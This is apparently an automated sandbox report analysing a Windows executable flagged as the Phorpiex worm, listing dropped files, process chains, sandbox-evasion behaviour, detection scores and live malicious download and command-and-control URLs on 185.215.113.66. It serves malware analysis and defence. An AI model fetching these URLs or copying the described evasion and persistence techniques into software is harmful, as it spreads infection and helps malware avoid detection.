Windows Analysis Report
4dzlU0beKB.exe

Source: C:\Users\user\AppData\Local\Temp\2314729694.scr	Code function: 3_2_004092E0	3_2_004092E0
Source: C:\Users\user\AppData\Local\Temp\2314729694.scr	Code function: 3_2_0040F088	3_2_0040F088
Source: C:\Users\user\AppData\Local\Temp\2314729694.scr	Code function: 3_2_00402E90	3_2_00402E90
Source: C:\Users\user\AppData\Local\Temp\2314729694.scr	Code function: 3_2_00406950	3_2_00406950
Source: C:\Users\user\AppData\Local\Temp\2314729694.scr	Code function: 3_2_00406979	3_2_00406979
Source: C:\Windows\winrecsv.exe	Code function: 4_2_004092E0	4_2_004092E0
Source: C:\Windows\winrecsv.exe	Code function: 4_2_0040F088	4_2_0040F088
Source: C:\Windows\winrecsv.exe	Code function: 4_2_00402E90	4_2_00402E90
Source: C:\Windows\winrecsv.exe	Code function: 4_2_00406950	4_2_00406950
Source: C:\Windows\winrecsv.exe	Code function: 4_2_00406979	4_2_00406979
Source: C:\Windows\winrecsv.exe	Code function: 9_2_004092E0	9_2_004092E0
Source: C:\Windows\winrecsv.exe	Code function: 9_2_0040F088	9_2_0040F088
Source: C:\Windows\winrecsv.exe	Code function: 9_2_00402E90	9_2_00402E90
Source: C:\Windows\winrecsv.exe	Code function: 9_2_00406950	9_2_00406950
Source: C:\Windows\winrecsv.exe	Code function: 9_2_00406979	9_2_00406979

Source: C:\Users\user\AppData\Local\Temp\2314729694.scr	Code function: 3_2_0040C210 NtQuerySystemTime,RtlTimeToSecondsSince1980,	3_2_0040C210
Source: C:\Users\user\AppData\Local\Temp\2314729694.scr	Code function: 3_2_0040F2CD NtQueryVirtualMemory,	3_2_0040F2CD
Source: C:\Windows\winrecsv.exe	Code function: 4_2_0040C210 NtQuerySystemTime,RtlTimeToSecondsSince1980,	4_2_0040C210
Source: C:\Windows\winrecsv.exe	Code function: 4_2_0040F2CD NtQueryVirtualMemory,	4_2_0040F2CD
Source: C:\Windows\winrecsv.exe	Code function: 9_2_0040C210 NtQuerySystemTime,RtlTimeToSecondsSince1980,	9_2_0040C210
Source: C:\Windows\winrecsv.exe	Code function: 9_2_0040F2CD NtQueryVirtualMemory,	9_2_0040F2CD

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9QTQHWWN\tpeinf[1].png 22F524ABC98F958705FEBD3761BEDC85EC1AE859316A653B67C0C01327533092
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\2314729694.scr 22F524ABC98F958705FEBD3761BEDC85EC1AE859316A653B67C0C01327533092
Source: Joe Sandbox View	Dropped File: C:\Windows\winrecsv.exe 22F524ABC98F958705FEBD3761BEDC85EC1AE859316A653B67C0C01327533092

Source: 4dzlU0beKB.exe	Virustotal: Detection: 75%
Source: 4dzlU0beKB.exe	ReversingLabs: Detection: 62%

Source: 4dzlU0beKB.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\4dzlU0beKB.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Users\user\Desktop\4dzlU0beKB.exe "C:\Users\user\Desktop\4dzlU0beKB.exe"
Source: C:\Users\user\Desktop\4dzlU0beKB.exe	Process created: C:\Users\user\AppData\Local\Temp\2314729694.scr C:\Users\user\AppData\Local\Temp\2314729694.scr
Source: C:\Users\user\AppData\Local\Temp\2314729694.scr	Process created: C:\Windows\winrecsv.exe C:\Windows\winrecsv.exe
Source: unknown	Process created: C:\Windows\winrecsv.exe "C:\Windows\winrecsv.exe"
Source: C:\Windows\winrecsv.exe	Process created: C:\Users\user\AppData\Local\Temp\2201832713.exe C:\Users\user\AppData\Local\Temp\2201832713.exe
Source: C:\Users\user\Desktop\4dzlU0beKB.exe	Process created: C:\Users\user\AppData\Local\Temp\2314729694.scr C:\Users\user\AppData\Local\Temp\2314729694.scr	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2314729694.scr	Process created: C:\Windows\winrecsv.exe C:\Windows\winrecsv.exe	Jump to behavior
Source: C:\Windows\winrecsv.exe	Process created: C:\Users\user\AppData\Local\Temp\2201832713.exe C:\Users\user\AppData\Local\Temp\2201832713.exe	Jump to behavior

Source: C:\Users\user\Desktop\4dzlU0beKB.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Source: C:\Users\user\Desktop\4dzlU0beKB.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9QTQHWWN

Source: C:\Users\user\Desktop\4dzlU0beKB.exe

File created: C:\Users\user\AppData\Local\Temp\2314729694.scr

Source: classification engine

Classification label: mal100.troj.evad.winEXE@8/6@0/24

Source: C:\Users\user\AppData\Local\Temp\2314729694.scr

Code function: 3_2_004054D0 CoCreateInstance,

3_2_004054D0

Source: C:\Users\user\AppData\Local\Temp\2314729694.scr

Code function: 3_2_004050B0 Sleep,GetModuleFileNameW,GetVolumeInformationW,GetDiskFreeSpaceExW,_aulldiv,wsprintfW,wsprintfW,wsprintfW,Sleep,ExitThread,

3_2_004050B0

Source: C:\Windows\winrecsv.exe

Mutant created: \Sessions\1\BaseNamedObjects\984658

Source: C:\Windows\winrecsv.exe

File read: C:\Windows\System32\drivers\etc\hosts

Drops PE files with a suspicious file extension

Source: 4dzlU0beKB.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: C:\Users\user\AppData\Local\Temp\2201832713.exe

Code function: 15_2_003D1410 push eax; ret

15_2_003D143E

Persistence and Installation Behavior

Source: C:\Users\user\Desktop\4dzlU0beKB.exe

File created: C:\Users\user\AppData\Local\Temp\2314729694.scr

Jump to dropped file

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Users\user\AppData\Local\Temp\2314729694.scr

Executable created and started: C:\Windows\winrecsv.exe

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Users\user\Desktop\4dzlU0beKB.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9QTQHWWN\tpeinf[1].png

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\2314729694.scr	File created: C:\Windows\winrecsv.exe	Jump to dropped file
Source: C:\Users\user\Desktop\4dzlU0beKB.exe	File created: C:\Users\user\AppData\Local\Temp\2314729694.scr	Jump to dropped file
Source: C:\Windows\winrecsv.exe	File created: C:\Users\user\AppData\Local\Temp\2201832713.exe	Jump to dropped file
Source: C:\Users\user\Desktop\4dzlU0beKB.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9QTQHWWN\tpeinf[1].png	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\2314729694.scr

File created: C:\Windows\winrecsv.exe

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Source: C:\Users\user\Desktop\4dzlU0beKB.exe	File opened: C:\Users\user\AppData\Local\Temp\2314729694.scr:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2314729694.scr	File opened: C:\Users\user\AppData\Local\Temp\2314729694.scr:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\winrecsv.exe	File opened: C:\Windows\winrecsv.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\winrecsv.exe	File opened: C:\Users\user\AppData\Local\Temp\2201832713.exe:Zone.Identifier read attributes \| delete	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Windows\winrecsv.exe	Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess	graph_4-4253
Source: C:\Users\user\AppData\Local\Temp\2314729694.scr	Evasive API call chain: CreateMutex,DecisionNodes,Sleep	graph_3-4253
Source: C:\Windows\winrecsv.exe	Evasive API call chain: CreateMutex,DecisionNodes,Sleep	graph_4-4253
Source: C:\Users\user\AppData\Local\Temp\2314729694.scr	Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess	graph_3-4253

Contains functionality to detect sleep reduction / modifications

Source: C:\Users\user\AppData\Local\Temp\2314729694.scr	Code function: 3_2_0040B8F0	3_2_0040B8F0
Source: C:\Windows\winrecsv.exe	Code function: 4_2_0040B8F0	4_2_0040B8F0
Source: C:\Windows\winrecsv.exe	Code function: 9_2_0040B8F0	9_2_0040B8F0

Source: C:\Windows\winrecsv.exe TID: 4756

Thread sleep time: -900000s >= -30000s

Source: C:\Windows\winrecsv.exe

Last function: Thread delayed

Source: C:\Windows\winrecsv.exe

Thread delayed: delay time: 900000

Source: C:\Users\user\AppData\Local\Temp\2314729694.scr	Evaded block: after key decision			graph_3-4341
Source: C:\Windows\winrecsv.exe	Evaded block: after key decision			graph_4-4253

Source: C:\Users\user\AppData\Local\Temp\2314729694.scr	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_3-4267
Source: C:\Windows\winrecsv.exe	Evasive API call chain: RegQueryValue,DecisionNodes,Sleep	graph_9-5548
Source: C:\Windows\winrecsv.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_4-4267

Source: C:\Users\user\AppData\Local\Temp\2314729694.scr	API coverage: 3.4 %
Source: C:\Windows\winrecsv.exe	API coverage: 1.2 %

Source: C:\Windows\winrecsv.exe	Code function: 9_2_0040B8F0		9_2_0040B8F0
Source: C:\Users\user\AppData\Local\Temp\2314729694.scr	Code function: 3_2_0040B8F0		3_2_0040B8F0

Source: C:\Users\user\AppData\Local\Temp\2314729694.scr

Code function: 3_2_0040EEA0 GetSystemInfo,InitializeCriticalSection,CreateEventA,CreateIoCompletionPort,WSASocketA,setsockopt,htons,bind,listen,WSACreateEvent,WSAEventSelect,

3_2_0040EEA0

Source: C:\Users\user\AppData\Local\Temp\2314729694.scr	Code function: 3_2_00404A90 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,	3_2_00404A90
Source: C:\Users\user\AppData\Local\Temp\2314729694.scr	Code function: 3_2_00404BD0 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,	3_2_00404BD0
Source: C:\Windows\winrecsv.exe	Code function: 4_2_00404A90 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,	4_2_00404A90
Source: C:\Windows\winrecsv.exe	Code function: 4_2_00404BD0 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,	4_2_00404BD0
Source: C:\Windows\winrecsv.exe	Code function: 9_2_00404A90 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,	9_2_00404A90
Source: C:\Windows\winrecsv.exe	Code function: 9_2_00404BD0 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,	9_2_00404BD0

Source: C:\Windows\winrecsv.exe

Thread delayed: delay time: 900000

Source: C:\Users\user\AppData\Local\Temp\2314729694.scr	API call chain: ExitProcess graph end node	graph_3-4254
Source: C:\Users\user\AppData\Local\Temp\2314729694.scr	API call chain: ExitProcess graph end node	graph_3-4279
Source: C:\Windows\winrecsv.exe	API call chain: ExitProcess graph end node	graph_4-4279
Source: C:\Windows\winrecsv.exe	API call chain: ExitProcess graph end node	graph_4-4314
Source: C:\Windows\winrecsv.exe	API call chain: ExitProcess graph end node	graph_9-4255
Source: C:\Windows\winrecsv.exe	API call chain: ExitProcess graph end node	graph_9-4316
Source: C:\Windows\winrecsv.exe	API call chain: ExitProcess graph end node	graph_9-4281

Source: C:\Users\user\AppData\Local\Temp\2314729694.scr

Code function: 3_2_00408C70 GetProcessHeaps,

3_2_00408C70

Source: C:\Users\user\AppData\Local\Temp\2314729694.scr	Code function: GetLocaleInfoA,	3_2_0040D4A0
Source: C:\Windows\winrecsv.exe	Code function: GetLocaleInfoA,	4_2_0040D4A0
Source: C:\Windows\winrecsv.exe	Code function: GetLocaleInfoA,	9_2_0040D4A0

Remote Access Functionality

Yara detected Phorpiex

Source: Yara match	File source: 3.2.2314729694.scr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.winrecsv.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.2314729694.scr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.winrecsv.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.winrecsv.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.winrecsv.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.281020089.0000000000410000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.522368443.0000000000410000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000000.298830190.0000000000410000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.277857750.00000000006B3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.277775782.0000000000410000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.271515410.0000000000410000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.280898564.0000000000410000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 2314729694.scr PID: 3508, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: winrecsv.exe PID: 868, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: winrecsv.exe PID: 4860, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\2314729694.scr, type: DROPPED
Source: Yara match	File source: C:\Windows\winrecsv.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9QTQHWWN\tpeinf[1].png, type: DROPPED

Source: C:\Users\user\AppData\Local\Temp\2314729694.scr	Code function: 3_2_0040DC40 CreateEventA,socket,htons,setsockopt,bind,CreateThread,	3_2_0040DC40
Source: C:\Users\user\AppData\Local\Temp\2314729694.scr	Code function: 3_2_0040EEA0 GetSystemInfo,InitializeCriticalSection,CreateEventA,CreateIoCompletionPort,WSASocketA,setsockopt,htons,bind,listen,WSACreateEvent,WSAEventSelect,	3_2_0040EEA0
Source: C:\Users\user\AppData\Local\Temp\2314729694.scr	Code function: 3_2_0040E110 CreateEventA,socket,bind,CreateThread,	3_2_0040E110
Source: C:\Users\user\AppData\Local\Temp\2314729694.scr	Code function: 3_2_0040C930 socket,htons,inet_addr,setsockopt,bind,lstrlenA,sendto,ioctlsocket,	3_2_0040C930
Source: C:\Windows\winrecsv.exe	Code function: 4_2_0040DC40 CreateEventA,socket,htons,setsockopt,bind,CreateThread,	4_2_0040DC40
Source: C:\Windows\winrecsv.exe	Code function: 4_2_0040EEA0 GetSystemInfo,InitializeCriticalSection,CreateEventA,CreateIoCompletionPort,WSASocketA,setsockopt,htons,bind,listen,WSACreateEvent,WSAEventSelect,	4_2_0040EEA0
Source: C:\Windows\winrecsv.exe	Code function: 4_2_0040E110 CreateEventA,socket,bind,CreateThread,	4_2_0040E110
Source: C:\Windows\winrecsv.exe	Code function: 4_2_0040C930 socket,htons,inet_addr,setsockopt,bind,lstrlenA,sendto,ioctlsocket,	4_2_0040C930
Source: C:\Windows\winrecsv.exe	Code function: 9_2_0040DC40 CreateEventA,socket,htons,setsockopt,bind,CreateThread,	9_2_0040DC40
Source: C:\Windows\winrecsv.exe	Code function: 9_2_0040EEA0 GetSystemInfo,InitializeCriticalSection,CreateEventA,CreateIoCompletionPort,WSASocketA,setsockopt,htons,bind,listen,WSACreateEvent,WSAEventSelect,	9_2_0040EEA0
Source: C:\Windows\winrecsv.exe	Code function: 9_2_0040E110 CreateEventA,socket,bind,CreateThread,	9_2_0040E110
Source: C:\Windows\winrecsv.exe	Code function: 9_2_0040C930 socket,htons,inet_addr,setsockopt,bind,lstrlenA,sendto,ioctlsocket,	9_2_0040C930

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	11 Native API	Path Interception	1 Process Injection	231 Masquerading	21 Input Capture	22 Security Software Discovery	Remote Services	21 Input Capture	Exfiltration Over Other Network Medium	2 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	21 Virtualization/Sandbox Evasion	LSASS Memory	21 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	Exfiltration Over Bluetooth	1 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	1 Process Injection	Security Account Manager	1 Remote System Discovery	SMB/Windows Admin Shares	2 Clipboard Data	Automated Exfiltration	4 Ingress Tool Transfer	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 Hidden Files and Directories	NTDS	1 System Network Connections Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	2 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Data Transfer Size Limits	12 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	13 System Information Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
4dzlU0beKB.exe	76%	Virustotal		Browse
4dzlU0beKB.exe	62%	ReversingLabs	Win32.Trojan.MintZard
4dzlU0beKB.exe	100%	Avira	TR/Crypt.XPACK.Gen
4dzlU0beKB.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\2314729694.scr	100%	Avira	HEUR/AGEN.1237550
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9QTQHWWN\tpeinf[1].png	100%	Avira	HEUR/AGEN.1237550
C:\Users\user\AppData\Local\Temp\2201832713.exe	100%	Avira	HEUR/AGEN.1239737
C:\Windows\winrecsv.exe	100%	Avira	HEUR/AGEN.1237550
C:\Users\user\AppData\Local\Temp\2314729694.scr	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9QTQHWWN\tpeinf[1].png	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\2201832713.exe	100%	Joe Sandbox ML
C:\Windows\winrecsv.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9QTQHWWN\tpeinf[1].png	68%	Metadefender		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9QTQHWWN\tpeinf[1].png	96%	ReversingLabs	Win32.Worm.Phorpiex
C:\Users\user\AppData\Local\Temp\2201832713.exe	35%	ReversingLabs	Win32.Trojan.Fragtor
C:\Users\user\AppData\Local\Temp\2314729694.scr	68%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\2314729694.scr	96%	ReversingLabs	Win32.Worm.Phorpiex
C:\Windows\winrecsv.exe	68%	Metadefender		Browse
C:\Windows\winrecsv.exe	96%	ReversingLabs	Win32.Worm.Phorpiex

Unpacked PE Files

Source	Detection	Scanner	Label	Download
3.0.2314729694.scr.400000.0.unpack	100%	Avira	HEUR/AGEN.1237550	Download File
4.0.winrecsv.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1237550	Download File
0.0.4dzlU0beKB.exe.3c0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
4.2.winrecsv.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1237550	Download File
9.0.winrecsv.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1237550	Download File
15.2.2201832713.exe.3d0000.0.unpack	100%	Avira	HEUR/AGEN.1239737	Download File
0.2.4dzlU0beKB.exe.3c0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
15.0.2201832713.exe.3d0000.0.unpack	100%	Avira	HEUR/AGEN.1239737	Download File
9.2.winrecsv.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1237550	Download File
3.2.2314729694.scr.400000.0.unpack	100%	Avira	HEUR/AGEN.1237550	Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://185.215.113.66/twizt/984658winrecsv.exeWindows	100%	Avira URL Cloud	malware
http://185.215.113.66/tpeinf.php	16%	Virustotal		Browse
http://185.215.113.66/tpeinf.php	100%	Avira URL Cloud	malware
http://2462462645.fr/	0%	Virustotal		Browse
http://2462462645.fr/	0%	Avira URL Cloud	safe
http://185.215.113.66/twizt/6	11%	Virustotal		Browse
http://185.215.113.66/twizt/6	100%	Avira URL Cloud	malware
http://185.215.113.66/twizt/5	10%	Virustotal		Browse
http://185.215.113.66/twizt/5	100%	Avira URL Cloud	malware
http://a7ff7a7f7a7f.ke/	0%	Virustotal		Browse
http://a7ff7a7f7a7f.ke/	0%	Avira URL Cloud	safe
http://185.215.113.66/twizt/	11%	Virustotal		Browse
http://185.215.113.66/twizt/	100%	Avira URL Cloud	malware
http://185.215.113.66/twizt/2	100%	Avira URL Cloud	malware
http://2462462645.fr/5797957298589274527842dgd828d8g8fg8g8gfeu8gf8g2gf8g2fgaefafugaugfgauegfaefyaieg	0%	Avira URL Cloud	safe
http://185.215.113.66/twizt/1	100%	Avira URL Cloud	malware
http://185.215.113.66/twizt/4	100%	Avira URL Cloud	malware
http://185.215.113.66/twizt/3	100%	Avira URL Cloud	malware
http://a7ff7a7f7a7f.ke/3wf3f737fw73f73wf7w73f73fg7g3f4tt4t4wwt44t4tw4tw4wt4tw4twgg4gwg4wgw4w4gw4gw4g	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

⊘No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.66/tpeinf.php	true	16%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.66/twizt/6	true	11%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.66/twizt/5	true	10%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.66/twizt/2	true	Avira URL Cloud: malware	unknown
http://185.215.113.66/twizt/1	true	Avira URL Cloud: malware	unknown
http://185.215.113.66/twizt/4	true	Avira URL Cloud: malware	unknown
http://185.215.113.66/twizt/3	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.66/twizt/984658winrecsv.exeWindows	2314729694.scr, 00000003.00000002.280903204.0000000000413000.00000008.00000001.01000000.00000007.sdmp, 2314729694.scr, 00000003.00000000.271521171.0000000000413000.00000008.00000001.01000000.00000007.sdmp, winrecsv.exe, 00000004.00000002.281024112.0000000000413000.00000008.00000001.01000000.00000008.sdmp, winrecsv.exe, 00000009.00000000.298836736.0000000000413000.00000008.00000001.01000000.00000008.sdmp, winrecsv.exe, 00000009.00000002.522382517.0000000000413000.00000004.00000001.01000000.00000008.sdmp, 2314729694.scr.0.dr, tpeinf[1].png.0.dr, winrecsv.exe.3.dr	true	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/soap/encoding/	winrecsv.exe.3.dr	false		high
http://2462462645.fr/	winrecsv.exe, winrecsv.exe, 00000009.00000000.298836736.0000000000413000.00000008.00000001.01000000.00000008.sdmp, winrecsv.exe, 00000009.00000002.522382517.0000000000413000.00000004.00000001.01000000.00000008.sdmp, 2314729694.scr.0.dr, tpeinf[1].png.0.dr, winrecsv.exe.3.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	winrecsv.exe.3.dr	false		high
http://a7ff7a7f7a7f.ke/	4dzlU0beKB.exe	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.215.113.66/twizt/	winrecsv.exe, winrecsv.exe, 00000009.00000000.298836736.0000000000413000.00000008.00000001.01000000.00000008.sdmp, winrecsv.exe, 00000009.00000002.522382517.0000000000413000.00000004.00000001.01000000.00000008.sdmp, 2314729694.scr.0.dr, tpeinf[1].png.0.dr, winrecsv.exe.3.dr	true	11%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://2462462645.fr/5797957298589274527842dgd828d8g8fg8g8gfeu8gf8g2gf8g2fgaefafugaugfgauegfaefyaieg	2314729694.scr, 00000003.00000002.280903204.0000000000413000.00000008.00000001.01000000.00000007.sdmp, 2314729694.scr, 00000003.00000000.271521171.0000000000413000.00000008.00000001.01000000.00000007.sdmp, winrecsv.exe, 00000004.00000002.281024112.0000000000413000.00000008.00000001.01000000.00000008.sdmp, winrecsv.exe, 00000009.00000000.298836736.0000000000413000.00000008.00000001.01000000.00000008.sdmp, winrecsv.exe, 00000009.00000002.522382517.0000000000413000.00000004.00000001.01000000.00000008.sdmp, 2314729694.scr.0.dr, tpeinf[1].png.0.dr, winrecsv.exe.3.dr	false	Avira URL Cloud: safe	unknown
http://a7ff7a7f7a7f.ke/3wf3f737fw73f73wf7w73f73fg7g3f4tt4t4wwt44t4tw4tw4wt4tw4twgg4gwg4wgw4w4gw4gw4g	4dzlU0beKB.exe	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
151.235.32.225	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	false
185.215.113.66	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
5.236.182.192	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	false
213.246.19.58	unknown	Yemen	30873	PTC-YEMENNETYE	false
178.163.120.234	unknown	Russian Federation	8416	INFOLINE-ASRU	false
134.35.246.12	unknown	Yemen	30873	PTC-YEMENNETYE	false
196.175.1.52	unknown	Ghana	37030	Airtel-GhanaGH	false
193.193.254.13	unknown	Kazakhstan	8393	ASTEL-ASAlma-AtaKZ	false
89.236.219.80	unknown	Uzbekistan	39032	ISPETCUZ	false
2.185.152.73	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	false
134.35.50.137	unknown	Yemen	30873	PTC-YEMENNETYE	false
2.182.9.184	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	false
69.67.151.59	unknown	United States	22241	IC2NETUS	false
193.17.189.170	unknown	Syrian Arab Republic	29256	INT-PDN-STE-ASSTEPDNInternalASSY	false
37.202.191.246	unknown	Iran (ISLAMIC Republic Of)	31549	RASANAIR	false
154.118.198.100	unknown	Angola	37645	ZAP-AngolaAO	false
176.113.143.70	unknown	Tajikistan	44027	SATURN-ONLINE-ASElcatUplinkRU	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
213.230.120.247	unknown	Uzbekistan	8193	BRM-ASUZ	false
5.74.57.165	unknown	Iran (ISLAMIC Republic Of)	12880	DCI-ASIR	false
180.222.143.42	unknown	Afghanistan	131284	ETISALATAFG-AS-APEtisalatAfghanAF	false
105.109.251.50	unknown	Algeria	36947	ALGTEL-ASDZ	false

